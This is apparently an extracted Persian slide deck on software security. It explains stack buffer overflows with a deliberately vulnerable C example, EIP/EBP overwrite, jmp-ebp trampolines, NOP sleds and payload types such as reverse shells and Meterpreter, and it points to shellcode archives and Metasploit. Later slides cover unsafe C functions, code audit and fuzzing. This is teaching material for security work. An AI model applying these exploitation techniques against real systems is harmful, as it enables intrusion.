‫مشکلت امنیتی نرم افزارها‬


                   ‫مروری بر روش های کشف ، حمله و مقابله‬

   ‫سید حمید کشفی‬
‫‪Hamid@OISSG.org‬‬
  ‫5 تیر ماه 7831‬
‫مواردی که به آنها خواهیم پرداخت‬

                   ‫بررسی روش های حمله به نرم افزارها‬          ‫‪‬‬
                                   ‫‪ ‬نرم افزارهای کاربردی‬
                           ‫مروری بر حملت سرریز بافر‬   ‫‪‬‬

                                   ‫‪ ‬نرم افزارهای تحت وب‬
  ‫مروری بر حملت رایج )‪(… ,SQLi, XSS, Harvesting‬‬       ‫‪‬‬

              ‫بررسی روش های کشف ضعف های امنیتی‬                ‫‪‬‬
                     ‫‪ ‬بازبینی کد )‪(Source-code Audit‬‬
                        ‫‪Fuzzing & Fault-Injection ‬‬
                                ‫‪Binary Analyzing ‬‬
                        ‫بررسی روش های مقابله با حملت‬          ‫‪‬‬
‫‪ ‬سیستم های محافظتی موجود در سطح سیستم عامل و سخت افزار‬
      ‫‪ ‬سیستم های محافظتی ایجاد شده توسط نرم افزارهای جانبی‬


                                                              ‫2‬
‫حمله به نرم افزار – نرم افزارهای کاربردی‬

             ‫‪ ‬ضعف امنیتی در نرم افزار چیست ؟‬
  ‫‪ ‬منظور از ‪ Exploit‬کردن یک ضعف امنیتی ؟‬
   ‫‪ ‬اهداف استفاده از ضعف های امنیتی نرم افزار‬
‫‪ ‬ایجاد اختلل در روال کار نرم افزار یا سیستم )‪(DoS‬‬
‫‪ ‬اجرای دستورالعملی خارج از روال معمول اجرای نرم‬
                 ‫افزار)‪(Controling Software‬‬
        ‫‪ ‬بدست گرفتن کنترل کامل نرم افزار یا سیستم‬
                   ‫عامل)‪(Controling System‬‬
                              ‫‪ Payload ‬چیست ؟‬

                                                     ‫3‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

                             ‫‪ ‬بررسی روال اجرای یک نرم افزار‬
       ‫‪ ‬اختصاص یک محدوده آدرس در حافظه برای بارگذاری‬
                            ‫دستورالعمل ها و اطلعات لزم‬
            ‫‪ ‬بارگذاری سگمنت های تعریف شده در نرم افزار‬
                             ‫‪ :text. ‬حاوی دستورالعمل های اجرایی برنامه‬
  ‫‪ :bss. ‬حاوی اطلعات و متغیر های تعریف نشده )‪(uninitialized data‬‬

‫‪ :data. ‬حاوی اطلعات و متغیر های تعریف شده )‪(static initialized data‬‬

                              ‫‪ ‬اختصاص فضای ‪ Stack‬و ‪Heap‬‬


                                                                          ‫4‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

  ‫سرریز بافر زمانی رخ میدهد که حجم اطلعات کپی شده به بافر ،‬    ‫‪‬‬
                     ‫بیشتر از میزان مشخص شده برای بافر باشد.‬
‫#‪<include <stdio.h‬‬
‫‪(Int main (int arge , char **argv‬‬
‫}‬
 ‫‪chartarget]5[=”“AAAA‬‬
‫‪;(“strcpy(target, “AAAAABBBBCCCC‬‬
‫‪;(“Printf(“%n“,target‬‬
‫0 ‪;Return‬‬
‫{‬

                                                               ‫5‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

               Stack Overflow ‫ بررسی یک کد آسیب پذیر به‬
#include <iostream.h>
#include <stdio.h>                                          12345...
#include <conio.h>
#include <stdio.h>

int Hijack()
{            cout << "This function should be hijacked!";
             getchar();                                         ....ABCD
             return 0; }
                                                                 EIP
int Function1()
{           char var1[15];
            cout << "_________1234567890abcd" <<
endl;                                                           Main()
            cout << "Enter Var1:";
            cin >> var1;
            cout << var1 << endl;
            return 0; }                                        Hijack()
int main()
{           Function1();
            getchar();                                                     6
            return 0; }
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

‫اتفاقی که پس از سرریز بافر رخ میدهد : تخریب روال اجرا‬   ‫‪‬‬

                                   ‫...54321‬


                                   ‫6543210.....‬

                                     ‫) ‪EBP ( AAAA‬‬
                                     ‫) ‪EIP ( BCDE‬‬


                                        ‫)(‪Main‬‬



                                        ‫)(‪Hijack‬‬


                                                        ‫7‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

‫استفاده از قابلیت تغییر‪ EIP‬برای کنترل نرم افزار وفراخوانی توابعی که در روال اجرای‬   ‫‪‬‬
                                                ‫معمولی برنامه , فراخوانی نمیشوند‬
                                                             ‫...54321‬


                                                              ‫6543210.....‬

                                                                ‫) ‪EBP ( AAAA‬‬
                                                               ‫) 05010400( ‪EIP‬‬


                                                                     ‫)(‪Main‬‬



                                                                    ‫)(‪Hijack‬‬

                                                                                    ‫8‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

   ‫با استفاده از روش ذکر شده ، میتوان اقدام به اجرای کد و دستورات دلخواه‬    ‫‪‬‬
                                                                    ‫نمود‬
       ‫با توجه به اینکه داده های ارسالی ما مستقیمآ در حافظه درج میشوند ،‬    ‫‪‬‬
                                  ‫دستورات می بایست به زبان ماشین باشد.‬
‫به دستوراتی که برای اجرا در حافظه درج میشوند اصطلحآ ‪ Payload‬گفته‬            ‫‪‬‬
                                                                   ‫میشود‬
    ‫رعایت نکردن نکاتی همچون عدم استفاده از کاراکترهای خاص )00‪(0x‬‬            ‫‪‬‬
                                               ‫باعث بروز مشکل خواهد شد‬
  ‫برای اینکه بتوانیم دستورات دلخواه خود را اجرا کنیم ، میبایست آدرس دقیق‬    ‫‪‬‬
                                        ‫آنها را پس از درج در حافظه بدانیم‬
 ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد ~‬        ‫‪‬‬



                                                                            ‫9‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

‫...54321‬                     ‫از دید پردازنده ، تفاوتی میان دستورالعمل ها و داده ها وجود‬   ‫‪‬‬
‫[‪]Injected Payload‬‬             ‫ندارد . ورودی داده شده درصورتی که دستور زبان ماشین‬
                                                             ‫معتبر باشد اجرا خواهد شد.‬
‫6543210.....‬               ‫یکی از روش های تزریق ‪ Payload‬درحافظه ، ارسال آن در‬             ‫‪‬‬
                                               ‫قالب پارامترهای ورودی نرم افزار میباشد‬
  ‫) ‪EBP ( AAAA‬‬
                               ‫سرریز بافر میتواند هم در فضای ‪ Stack‬و هم در فضای‬           ‫‪‬‬
‫)}‪EIP (0x{Payload Offset‬‬
                                                                       ‫‪ Heap‬رخ دهد‬
                              ‫بسته به محل وقوع سرریز )‪(stack / Heap overflow‬‬              ‫‪‬‬
       ‫)(‪Main‬‬                 ‫نحوه تغییر روال اجرای برنامه و پرش به محل ‪Payload‬‬
                            ‫متفاوت بوده وتکنیک ها و روش های مختلفی برای هر حالت‬
                                                                            ‫وجود دارد.‬
      ‫)(‪Hijack‬‬              ‫قابلیت بازنویسی ‪ EIP‬الزامی نیست ! در نظر داشته باشید که‬       ‫‪‬‬
                           ‫بازنویسی هر یک از ثبات ها میتواند در نهایت منجر به اجرای‬
                    ‫00‪0x‬‬
                                                                      ‫‪ Payload‬گردد‬

                                                                                          ‫01‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬
                   ‫روال پیاده سازی حملت در واقعیت ، بسیار پیچیده تر و مشکل تر میباشد:‬               ‫‪‬‬
‫‪ ‬آدرس های بارگذاری توابع و ‪ Dll‬ها بسته به هر نسخه نرم افزار ، سیستم عامل و حتی ‪Service‬‬
                                                                     ‫‪ Pack‬تغییر میکند‬
      ‫در برخی موارد ، آدرس ها و ‪ offset‬های ثابت که در تمامی نسخ یکسان هستند نیز وجود دارند‬      ‫‪‬‬

                           ‫‪ ‬نیاز به آگاهی از آدرس دقیق دستورات درج شده )‪ (Payload‬در حافظه‬
                  ‫بر خلف ‪ ، Linux‬تخمین آدرس دقیق ‪ Stack‬در ویندوز براحتی امکانپذیر نیست‬          ‫‪‬‬

                                                       ‫استفاده از تکنیک ‪Return-to-lib/dll‬‬       ‫‪‬‬

                                                                   ‫استفاده از ‪NOP Sled‬‬          ‫‪‬‬

                                        ‫‪ ‬محدودیت در حجم دستوراتی که میتوان در بافر درج کرد‬
            ‫استفاده از بخش های مختلف حافظه که قابلیت تزریق در آنها وجود دارد ، و پرش بین آنها‬   ‫‪‬‬

                                                       ‫استفاده از ‪ Payload‬های چند مرحله ایی‬     ‫‪‬‬

                                  ‫‪ ‬محدودیت در استفاده ازکاراکترهایی که در حافظه درج میگردد‬
                              ‫شناسایی کاراکترهایی که پس از تزریق در حافظه دستکاری میشوند‬        ‫‪‬‬

                             ‫‪ Encode‬کردن ‪ Payload‬برای پرهیز از وجود کاراکترهای خاص‬              ‫‪‬‬

                                                               ‫‪ ‬نحوه ارسال دستورات به نرم افزار‬




                                                                                                    ‫11‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬
  ‫‪ ‬در زبان ماشین ، امکان مقدار دهی به ‪ EIP‬بصورت مستقیم وجود ندارد ) مقادیر سایر ثبات ها توسط‬
                                      ‫دستوراتی چون ‪ ... JMP MOV CALL‬به ‪ EIP‬داده میشوند (‬
  ‫‪ ‬در مثالی که پیش از این ذکر شد ، با فرض اینکه ما امکان بدست آوردن آدرس دقیق ‪ Payload‬برای‬
   ‫استفاده دربازنویسی ‪ EIP‬را در نداریم ، میبایست از مقدار بازنویسی شده سایر ثبات ها استفاده کنیم .‬
     ‫‪ EBP ‬بازنویسی شده ، پس باید به دنبال دستورالعملی باشیم که محتوای ‪ EBP‬را در ‪ EIP‬درج کند‬
                                                                                      ‫)‪(JMP EBP‬‬
   ‫‪ ‬قدم بعد ، بازنویسی ‪ EBP‬برای اشاره به آدرسی از حافظه است که در آن دستورالعمل ‪JMP EBP‬‬
                                                                                     ‫وجود داشته باشد‬
 ‫‪ ‬نکته : توابع کتابخانه ایی پویا)‪ (DLL‬همواره در آدرس های مشخصی از حافظه بارگزاری میشوند . در‬
 ‫هر یک از ‪ DLL‬های موجود در حافظه ممکن است بخشی از دستورات ، دستورات مورد نظر ما باشد‬
‫‪ ‬ایده : جستجوی محدوده آدرس توابع کتابخانه ایی برای دستورالعمل مورد نظر ما ، و بدست آوردن آدرس‬
                                                                            ‫)‪ (offset‬آن دستورالعمل‬
                                                             ‫‪ ‬استفاده از ابزارهایی مانند ‪FindJump‬‬
                        ‫‪ ‬بازنویسی ‪ EIP‬با ‪ 0x7c822cac‬محتویات ‪ EBP‬را در ‪ EIP‬بازنویسی میکند‬
                                                      ‫‪ ‬بدین ترتیب بدون نیاز به درج آدرس ‪Payload‬‬
                                                                  ‫بطور مسقیم در ‪ ، EIP‬آنرا اجرا میکنیم‬
                                                                 ‫‪ ‬نتیجه : پایداری بیشتر در روال حمله‬


                                                                                                   ‫21‬
‫نرم افزارهای کاربردی – حملت سرریز بافر‬

                     ‫‪ ‬نتیجه نهایی ، نمایی از ‪ Stack‬پس از حمله‬
‫[… ‪GET / AA….A[ 0x90 Nop] [ JMP ] ]overwrite EBP[ ]Overwrite EIP[ [NOP] ]…. Payload‬‬

                          ‫5‬            ‫3‬     ‫6‬


‫‪AA...A‬‬      ‫‪NOP Sled jmp EBPEIP NOP‬‬                                      ‫‪Payload‬‬


                      ‫4‬                                        ‫‪ EIP‬با آدرسی که به ‪ jmp ebd‬اشاره دارد بازنویسی میشود‬      ‫1.‬
                                                                       ‫پردازنده به آدرس مراجعه کرده و دستور اجرا میشود‬   ‫2.‬
                          ‫2‬           ‫1‬
                                                     ‫محتویات ‪ EBP‬که به محل ‪ Nop Sled‬در حافظه اشاره دارد ، در ‪EIP‬‬         ‫3.‬
                                                                                                    ‫بازنویسی میشود‬
                       ‫‪Jmp ebp‬‬                   ‫پردازنده با توجه به ‪ ، EIP‬برای ادامه اجرای دستورات به آدرس ‪Nop Sled‬‬     ‫4.‬
                                                                                                      ‫مراجعه میکند‬
                      ‫‪Kernel32.dll‬‬
                                                      ‫پس از پایان ‪ Nop‬پردازنده به دستور پرش به ‪ Nop Sled‬دوم میرسد‬        ‫5.‬
                                              ‫‪ Nop Sled‬دوم اجرا شده و روال در نهایت به اجرای ‪ Payload‬ختم میگردد.‬         ‫6.‬

                                                                                                                    ‫31‬
‫حملت سرریز بافر – بررسی ‪ Payload‬ها‬
                                            ‫به مرحله اجرای ‪ Payload‬رسیدیم . چه انتخاب هایی پیش رو داریم ؟‬          ‫‪‬‬
    ‫مراحل ادامه حمله پس از بارگذاری موفقیت آمیز ‪ ، Payload‬اصطلحآ ‪ Post Exploitation‬خوانده میشوند.‬                  ‫‪‬‬
                                                         ‫وجه مشترک همه ‪ Payload‬ها : بر اساس زبان ماشین‬             ‫‪‬‬
‫وجه تمایز : اجرای ‪ Payload‬در حافظه هر ‪ Platform‬و معماری پردازنده ، میبایست بر اساس همان شرایط باشد.‬                ‫‪‬‬
  ‫برای تهیه و نوشتن ‪ Payload‬برای هر معماری میبایست از زبان ماشین همان پردازنده استفاده شود ), 46/23‪IA‬‬              ‫‪‬‬
                                                                      ‫‪ SPARC , PowerPC, MIPS‬و... (‬
        ‫دستوراتی که ‪ Payload‬قصد اجرای آنرا دارند ، میبایست منطبق با سیستم عاملی باشد که به آن حمله میشود.‬          ‫‪‬‬
                                                                               ‫برخی از ‪ Payload‬های رایج :‬          ‫‪‬‬
                                       ‫اجرای دستورات بر روی سیستم عامل ) ‪( … , add user , iptables –F‬‬          ‫‪‬‬
                                       ‫فراهم کردن دسترسی از راه دور به سیستم هدف ) ‪(Reverse/Bind Shell‬‬         ‫‪‬‬
                       ‫فراهم کردن دسترسی پیشرفته از طریق ‪ Payload‬های پیچیده )‪( Meterpreter , MOSDEF‬‬            ‫‪‬‬
                             ‫‪ Proxy‬کردن فرامین زبان ماشین به سیستم هدف ، برای اجرا )‪( SysCall Proxying‬‬         ‫‪‬‬
                                    ‫در شرایط معمولی ، میتوان از ‪ Shellcode‬های از پیش آماده شده استفاده کرد‬         ‫‪‬‬
                                                                         ‫/‪http//:milw0rm.com/shellcode‬‬         ‫‪‬‬
                                  ‫‪http//:metasploit.org/data/shellcode/win32msf20payloads.tar.gz‬‬               ‫‪‬‬
 ‫بسته ‪ Metasploit Framework‬بیش از یکصد ‪ Payload‬آماده برای استفاده درشرایط ، سیستم عامل ها و معماری های‬         ‫‪‬‬
                                               ‫مختلف پردازنده را در اختیار قرار میدهد. )‪( www.metasploit.org‬‬




                                                                                                                   ‫41‬
‫حملت سرریز بافر – ‪Exploit Frameworks‬‬

      ‫همانطور که بررسی شد ، پیاده سازی یک حمله سرریز بافر مستلزم طی‬                        ‫‪‬‬
                                                  ‫مراحل مختلف میباشد‬
 ‫انجام برخی مراحل مستلزم تولید کد/ابزارهای خاص برای سرعت بخشیدن به کار میباشد‬          ‫‪‬‬
‫تولید ‪ Payload‬ها و بهینه سازی و آزمایش آنها امری زمان بر و نیازمند تجربه میباشد‬        ‫‪‬‬
         ‫در صورت لزوم پرهیز از کاراکترهای خاص ، پروسه تولید یا ‪ Encode‬کردن‬             ‫‪‬‬
                                                     ‫‪ Payload‬میبایست تکرارشود‬
      ‫برای استفاده از یک ضعف امنیتی در شرایط مختلف ، میبایست از ‪ Payload‬های‬            ‫‪‬‬
                                                               ‫متفاوتی استفاده گردد‬
  ‫با هربار نیاز به ایجاد تغییر جزئی در کد اکسپلویت ، کد میبایست مجددآ کامپایل و مورد‬   ‫‪‬‬
                                                                  ‫استفاده قرار گیرد‬
    ‫وجود یک مجموعه از ابزارها و امکانات در کنار یکدیگر که صرفآ برای‬                        ‫‪‬‬
   ‫آنالیز و تولید کد های اکسپلویت برای حملت سرریز بافر تولید شده ، کمک‬
                                               ‫بزرگی محسوب میگردد.‬

                                                                                           ‫51‬
‫حملت سرریز بافر – ‪Exploit Frameworks‬‬
          ‫‪ Exploitation Framework‬های موجود به ما کمک میکنند تا‬                                       ‫‪‬‬
‫تنها یکبار اقدام به معرفی مشخصات ضعف امنیتی پرداخته و پس از آن بدون نیاز به‬                      ‫‪‬‬
                   ‫تغییر خاصی در کد ، بارها و در شرایط مختلف از آن استفاده کنیم‬
                 ‫نگران مراحل زمانگیر تولید و تست ‪ Payload‬های مختلف نباشیم‬                        ‫‪‬‬
‫براحتی و با استفاده از ‪ Encoder‬های موجود ، مشکل کاراکترهای فیلتر شده )‪Bad‬‬                        ‫‪‬‬
                                                              ‫‪ (chars‬را حل کنیم‬
                          ‫از امکانات موجود در ‪ Payload‬های پیشرفته استفاده کنیم‬                   ‫‪‬‬
                   ‫تعداد خطوط کد لزم برای تولید یک اکسپلویت بسیار کاهش میبابد‬                    ‫‪‬‬
                 ‫کمتر از 5 خط کد در محیط ‪ Framework‬معادل ده ها خط کد در یک اکسپلویت مستقل!‬   ‫‪‬‬


                            ‫معرفی ‪ Metasploit Framework‬و امکانات آن‬                                  ‫‪‬‬
                                                  ‫‪ ‬ابزارهای کمکی برای طی مراحل اولیه‬
                      ‫تولید ‪ Pattern‬برای سرریز کردن بافر )‪(pattern_create.rb‬‬                 ‫‪‬‬

    ‫محاسبه سایز بافر ، و تعداد بایت لزم برای سرریز کردن بافر )‪(pattern_offset.rb‬‬             ‫‪‬‬

                ‫بانک اطلعاتی بسیار کامل برای یافتن ‪ offset‬های مختلف و مناسب )‬                ‫‪‬‬
                                           ‫‪(/http://metasploit.org/opcodedb‬‬



                                                                                                     ‫61‬
Metasploit Framework




     DEMO




                       17
‫حملت سرریز بافر – علت بروز مشکل‬

‫حملت سرریزبافر ناشی از اشتباهات برنامه نویس در استفاده از توابع زبان‬        ‫‪‬‬
                                                     ‫برنامه نویسی هستند.‬
   ‫بسیاری از توابع ، به خودی خود ورودی/خروجی خود را کنترل نمیکنند‬           ‫‪‬‬
‫انتظار میرود که برنامه نویس پیش از استفاده از چنین توابعی ، حجم و نوع‬       ‫‪‬‬
 ‫اطلعات ارسالی/دریافتی از تابع را کنترل کند تا از بروز مشکل جلوگیری‬
                                                                    ‫شود.‬
  ‫برخی از توابع که استفاده از آنها بدون کنترل قبلی ، منجر به سرریز بافر‬     ‫‪‬‬
   ‫میگردد : )(‪strcat() , strcpy() ,sprintf() , vsprintf() , bcopy‬‬
                                                      ‫‪(),gets() ,scanf‬‬
    ‫استفاده از توابع کتابخانه ایی که دارای مشکل هستند ، برنامه شما را نیز‬   ‫‪‬‬
                                              ‫دوچار مشکل امنیتی میکنند.‬


                                                                            ‫81‬
‫حملت سرریز بافر – علت بروز مشکل‬

Vulnerable Function                 Function’s Purpose                                       Why Vulnerable


     Memcpy()         Copies one part of the memory to another, taking       It can place too much data, into too small a buffer,
                            two a source, a destination and a number of                       thus causing an overflow.
                                        bytes as arguments.



      Gets()          Receives data from the user, and places it into a      Doesn’t check how much data has been placed in
                                              buffer.                                    the buffer, perhaps too much!




     Sprintf()          Places formatted data into a buffer, replacing        It doesn’t check how much data is being placed
                            arguments with data, for example ‘%s’, ‘hi’                          into the buffer.
                             being written to buffer[5]; would result in
                            not ‘%s’ being placed in the buffer, but ‘hi’.




      Strcat()           Sticks one buffer onto the end of another.           Doesn’t check that the data being added will fit
                                                                                             within the buffer limits/


     Strcpy()           Copies the content of one buffer to another.         Once again, the destination length is not compared
                                                                                              with the source length.




                                                                                                                                    19
‫شناسایی مشکلت امنیتی نرم افزار‬
‫تکنیک ها و روش های متفاوتی برای شناسایی ضعف های امنیتی موجود در‬             ‫‪‬‬
                                             ‫نرم افزارها وجود دارد‬
                                    ‫‪ ‬بررسی کد )‪(Source-Code Audit‬‬
                                         ‫‪Fuzzing & Fault-Injection ‬‬
                                 ‫‪Binary (Static/Dynamic) Analyze ‬‬
    ‫بسته به شرایط ، امکانات ودقت عمل لزم از یک یا ترکیبی از چند روش‬         ‫‪‬‬
                                   ‫برای آنالیز یک نرم افزار استفاده میشود‬
                ‫الزامآ پیچیده ترین روش ، همیشه بهینه ترین روش نیست !‬        ‫‪‬‬
    ‫اگرچه بسیاری از تکنیک های کشف و شناسایی مشکلت امنیتی بصورت‬              ‫‪‬‬
‫‪ Automated‬نیز دراختیارهستند ، اما همواره نیاز به یک کاربر مسلط و با‬
                                                        ‫تجربه وجود دارد.‬
       ‫لزومآ هر مشکل سرریز بافر شناسایی شده ، قابل استفاده برای اجرای‬       ‫‪‬‬
                                                         ‫کد/دستور نیست .‬


                                                                            ‫02‬
‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬

                                               ‫بررسی کد )‪(Source-Code Audit‬‬                    ‫‪‬‬
          ‫)‪(...()strcat(), strcpy() ,sprintf(), vsprintf‬‬   ‫‪ ‬جستجو برای شناسایی توابع پر خطر‬
                    ‫‪ ‬کنترل روال برنامه ، برای شناسایی مشکلت منطقی )‪(Logical‬‬
‫‪ ‬روال جستجو بصورت ‪ ) Static‬بدون اجرای کد ( و ‪ ( Dynamic‬اجرا و بررسی کد (‬
        ‫وجود یک تابع آسیب پذیر در کد ، به معنی وجود مشکل امنیتی نیست‬                           ‫‪‬‬

                     ‫بررسی و خواندن کد عملی خسته کننده و زمانبر است.‬                           ‫‪‬‬

       ‫حتی نرم افزارها و توابع ساده ، متشکل از چندین هزارخط کد میباشند.‬                        ‫‪‬‬

‫یکی از روش های تسریع بررسی ، تمرکز بر روی بخش هایی از کد است که‬                                ‫‪‬‬
‫احتمال وجود مشکل در آنها بالست ) توابع دریافت ورودی ، خواندن و نوشتن‬
                                                            ‫داده و ... (‬


                                                                                               ‫12‬
‫شناسایی مشکلت امنیتی نرم افزار – ‪Code Audit‬‬

                                  ‫بررسی کد )‪(Source-Code Audit‬‬                          ‫‪‬‬
                                ‫‪ ‬استفاده از ابزارهای ‪ Automated‬برای بررسی کد‬
                             ‫ابزارهای آزاد و تجاری بسیاری بدین منظور تولید شده‬      ‫‪‬‬

                ‫سرعت عمل این ابزارها در مقایسه با روش معمولی ، بسیار بالست‬          ‫‪‬‬

      ‫ابزارها غالبآ برای بررسی یک یا چند زبان برنامه نویسی خاص طراحی میشوند‬         ‫‪‬‬

            ‫درصد گزارش های خطا )‪ (False Positive‬در اینگونه ابزارها بالست‬            ‫‪‬‬

‫این قبیل ابزارها قادر به تشخیص و گزارش مشکلت امنیتی ناشی از خطاهای ‪Logical‬‬          ‫‪‬‬

                                                                           ‫نیستند‬
 ‫استفاده از این ابزارها به تنهایی ، برای بررسی امنیتی یک نرم افزار هرگز کافی نیست‬   ‫‪‬‬


        ‫لیستی از ابزارهای ‪ Automated‬برای ‪: Static Code Audit‬‬                            ‫‪‬‬
            ‫‪http//:en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis ‬‬
          ‫‪//:httpsamate.nist.gov/index.php/Source_Code_Security_Analyzers ‬‬



                                                                                        ‫22‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬

                                      ‫‪Fuzzing & Fault-Injection‬‬                  ‫‪‬‬
           ‫‪ ‬هزینه کمتر در مقایسه با سایر روش ها ، به نسبت بازدهی‬
     ‫‪ ‬قابلیت پیاده سازی با پیچیدگی کمتر ، در مقایسه با سایر روش ها‬
                 ‫‪ ‬بررسی ‪ BlackBox‬نرم افزار برای کشف مشکلت‬
‫‪ ‬تولید ورودی های تصادفی اما کنترل شده ، که منجر به ایجاد اختلل در‬
                                          ‫روند کار نرم افزار گردد.‬
                      ‫تغذیه نرم افزار و پارامتر ها با داده های کامل تصادفی‬   ‫‪‬‬

‫تغذیه نرم افزار و پارامترها در قالب پروتکل ها و استانداردهای مشخص ، اما با‬   ‫‪‬‬
                                                ‫پارامترها و مقادیر تصادفی‬
‫‪ ‬داده های تولید شده توسط ‪ Fuzzer‬باید آنقدر حساب شده باشند تا از دید‬
‫نرم افزار قابل دریافت و محاسبه باشند ، و در عین حال آنقدر تصادفی و‬
                   ‫مامتعارف که بتوانند نرم افزار را دوچار اختلل کنند.‬


                                                                                 ‫32‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
                                                                    ‫تکنیک های مختلف ‪: Fuzzing‬‬        ‫‪‬‬
                                                                    ‫‪Session Data Fuzzers ‬‬
‫بررسی اطلعات و پارامترهای رد و بدل شده در یک ‪ session‬معتبر وسعی در دستکاری پارامترها و‬           ‫‪‬‬
                                                                               ‫ارسال آنها‬
                                                     ‫پیاده سازی این روش بسیار ساده میباشد‬        ‫‪‬‬

                                                                       ‫‪Specialized Fuzzers ‬‬
                   ‫بررسی کلیه پارامترها و خواص یک پروتکل/استاندارد خاص در قالب ‪Fuzzing‬‬           ‫‪‬‬

                                            ‫نیازمند تولید ابزار/اسکریپت خاص برای هر پروتکل‬       ‫‪‬‬

‫کارآمدی ‪ Fuzzer‬وابسته به کیفیت پیاده سازی پروتکل و تعریف پارامترهای آن برای ‪ Fuzzing‬میباشد‬       ‫‪‬‬

             ‫تولید این دسته از ‪ Fuzzer‬ها نیازمند اشراف کامل و دقیق به پروتکل تحت بررسی دارد‬      ‫‪‬‬

                               ‫استفاده از این قبیل ‪ Fuzzer‬ها نیاز به دانش فنی بالی کاربر ندارد‬   ‫‪‬‬

                 ‫‪ Fuzzer‬های اختصاصی برای ‪… , SIP , SSL , SMTP , SNMP , RPC‬‬                       ‫‪‬‬

                                                                            ‫‪Generic Fuzzers ‬‬
                                                          ‫قابلیت ‪ Fuzzing‬پروتکل های متعدد‬        ‫‪‬‬

                  ‫کاربر میبایست اقدام به تعریف پروتکل مورد نظر خود تحت امکانات ‪ Fuzzer‬بنماید‬     ‫‪‬‬

               ‫تمام پارامترهایی که می بایست بررسی شوند ، توسط کاربر به ‪ Fuzzer‬معرفی میشوند‬       ‫‪‬‬

                                  ‫استفاده از این دسته ‪ Fuzzer‬ها برای کاربران عادی مشکل است‬       ‫‪‬‬

 ‫کیفیت تست یک پروتکل خاص توسط این دسته ، در مقایسه با ‪ Specialized Fuzzer‬ها کمتر است.‬            ‫‪‬‬



                                                                                                     ‫42‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
‫نمیتوان انتظار داشت که همیشه جایگزینی مقدار یک پارامتر در پروتکل با داده ایی بزرگتر ،‬            ‫‪‬‬
                                                                   ‫از دید نرم افزار معتبر باشد‬
      ‫در بسیاری از پروتکل ها )خصوصآ پروتکل های باینری( بدلیل ماهیت داده ها ، نیاز به‬             ‫‪‬‬
                                             ‫تفکیک فیلد های مختلف داده ها از یکدیگر میباشد.‬
                  ‫حداقل اطلعات مربوط به هر فیلد میتواند شامل سایز فیلد و داده آن فیلد باشد‬       ‫‪‬‬
  ‫در صورتی که بدون در نظر گرفتن این مورد اقدام به دستکاری محتوای یک پروتکل گردد،‬                 ‫‪‬‬
     ‫پارامترهای ‪ Fuzz‬شده یک فیلد ، اطلعات فیلد های بعد از خود را تخریب میکند = غیر‬
                                                     ‫معتبر شدن آن درخواست از دید نرم افزار‬
     ‫مفهوم ‪ Block Based Fuzzing‬بر همین اصل استوار است . محاسبه پویای سایز هر‬                     ‫‪‬‬
  ‫فیلد ، کل بسته درخواست و چیدن همه پارامتر های معتبر و تحت بررسی در کنار یکدیگر ،‬
                                                 ‫در زمان تولید یک درخواست برای نرم افزار‬
       ‫مثال ساده : در بررسی پروتکل ‪ HTTP‬و ارسال یک درخواست ‪ POST‬نمیتوان تنها‬                     ‫‪‬‬
 ‫پارامترها را دستکاری و ارسال نمود ، بلکه در هر درخواست میبایست مقدار صحیح پارامتر‬
                                  ‫‪ content-lenght‬محاسبه شده و در درخواست درج گردد.‬
   ‫‪ ، SPIKE‬یک نمونه ‪ General Fuzzer‬که بر مبنای ‪ Block-Based Fuzzing‬کار‬                           ‫‪‬‬
                                                                                        ‫میکند‬


                                                                                                 ‫52‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬

                                   ‫اهداف ‪ Fuzzer‬ها و کاربرد آنها‬           ‫‪‬‬
     ‫‪ ‬بررسی پروتکل های ارتباطی شبکه )‪Routing protocols, IP‬‬
                                                        ‫‪( … , stack‬‬
‫‪ ‬بررسی پروتکل های تحت شبکه )‪,ssh,ftp,smtp,ssh,http,snmp‬‬
                                                                 ‫…(‬
         ‫‪ ‬بررسی توابع , آرگومان ها و پارامترهای یک نرم افزار خاص‬
 ‫‪ ‬بررسی مشکلت مربوط به خواندن )‪ (parse‬اطلعات از فایل ورودی‬
  ‫‪ ‬بررسی بسته های نرم افزاری خاص )-‪browser,mail-client,ftp‬‬
                                                            ‫‪(clients‬‬
        ‫‪ ‬بررسی قابلیت ها و پارامترهای خاص ، در یک پروتکل خاص‬
 ‫‪ } . . . ‬هر نوع پارامتر ، داده و یا قابلیتی که به نحوی در روند کار نرم‬
                                                   ‫افزار دخیل است! {‬


                                                                           ‫62‬
‫شناسایی مشکلت امنیتی نرم افزار- ‪Fuzzing‬‬
                                           ‫‪Fuzzing Frameworks‬‬               ‫‪‬‬
      ‫قابلیت عمل بصورت ‪ Generic Fuzzer‬یا ‪Specialized Fuzzer‬‬             ‫‪‬‬
                       ‫غالبآ توسط زبان های اسکریپت نویسی تولید میشوند‬   ‫‪‬‬
             ‫‪ API‬های مختلفی را برای ‪ Fuzzing‬در اختیار قرار میدهند‬       ‫‪‬‬
                      ‫از پروتکل های )تحت شبکه( زیادی پشتیبانی میکنند‬    ‫‪‬‬
              ‫قابلیت گسترش و افزودن پروتکل های جدید به ‪framework‬‬        ‫‪‬‬
                ‫‪ Fuzzer‬ها نسبت به گذشته تحولت بسیاری داشته اند‬              ‫‪‬‬
                                   ‫مانیتور کردن نرم افزار تحت بررسی‬     ‫‪‬‬
‫کنترل کردن روال اجرای نرم افزار توسط ‪ debugger‬همزمان با ‪Fuzzing‬‬         ‫‪‬‬
‫فراهم آوردن مجدد شرایط بصورت خودکار ، در صورت بروز اختلل در طول‬         ‫‪‬‬
                            ‫‪ ) Fuzzing‬مانند ‪ crash‬کردن نرم افزار(‬
      ‫مانیتور کردن و ذخیره فعالیت های انجام شده در زمان ‪ Fuzzing‬و ...‬   ‫‪‬‬
                                 ‫“‪“Sulley Fuzzing Framework‬‬          ‫‪‬‬
